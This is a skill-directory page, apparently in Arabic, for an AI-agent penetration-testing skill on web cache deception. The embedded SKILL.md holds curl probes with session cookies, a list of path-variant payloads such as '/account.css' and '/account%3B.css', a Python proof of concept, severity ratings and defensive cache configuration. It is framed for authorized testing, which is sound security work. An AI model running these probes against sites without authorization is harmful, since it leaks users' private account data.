Skillpedia
الأمان6.5k · #14052

cache-deception

ما الذي تفعله

يغطي هذا الدليل خداع التخزين المؤقت للويب، حيث تخزّن شبكة توصيل المحتوى أو الوكيل صفحة خاصة لمستخدم مسجل دخوله كأنها عامة. وهو موجه للفرق التي تشغّل كاشاً أمام تطبيقات الويب.

متى تستخدمها

  • ✓عندما يستخدم موقع شبكة توصيل أو وكيلاً يخزّن الصفحات حسب امتدادات الملفات أو أنماط المسار.
  • ✓عندما يريد اختبار مصرح به التحقق من تخزين الصفحات الخاصة تحت عناوين تبدو ثابتة.
  • ✓عندما يراجع فريق قواعد الكاش الخاصة بالمحتوى المسجل دخوله.

رابط المهارة

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“موقعنا يستخدم شبكة توصيل أمام التطبيق. هل يمكنك التحقق مما إذا كان يمكن تخزين صفحات حسابات خاصة تحت عناوين تبدو ثابتة؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يطلب الوكيل صفحات الحساب باستخدام مسارات وهمية تبدو ثابتة في حساب اختبار، ويفحص ترويسات الكاش، ويقارن ما يتلقاه زائر غير مسجل.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

6. PoC

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

7. Severity

Bug Severity
Cache deception exposing PII (email, name, balance) Critical 8-9
Cache deception of session token Critical 9.8 (ATO)
Cache deception of public-only data Informational
Cache poisoning of script content Critical 9.0 (RCE-adjacent in browser context)

8. Defender

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension

Apps should send Cache-Control: private, no-store on every authenticated response to defeat both deception and poisoning.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Web Cache Deception/
  • Smuggling overlap: skills/exploit/web/smuggling.md

Known exemplars

  • Omer Gil's original PayPal disclosure (2017)
  • Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
  • 2023: notable Stripe disclosure of cache deception leading to PII leak
الأسئلة الشائعة

ما الخطر؟

قد تُخزّن صفحة خاصة وتُعرض لزوار آخرين يستخدمون العنوان نفسه.

ما المسارات المختبرة؟

المسارات التي تضيف امتدادات أو بادئات وهمية ثابتة إلى صفحات خاصة، بحسب الدليل.

كيف يُصلَح؟

بضبط قواعد الكاش بحيث لا تُخزَّن الاستجابات الخاصة أو المرتبطة بتسجيل الدخول أبداً.

التفاصيل

الوصف الأصلي من المؤلف

Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

repo: BitterSecurity/Decepticon

الشعبية

نجوم GitHub
6.5k
الترتيب
#14052
الترخيص
Apache-2.0
آخر تحديث
1‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة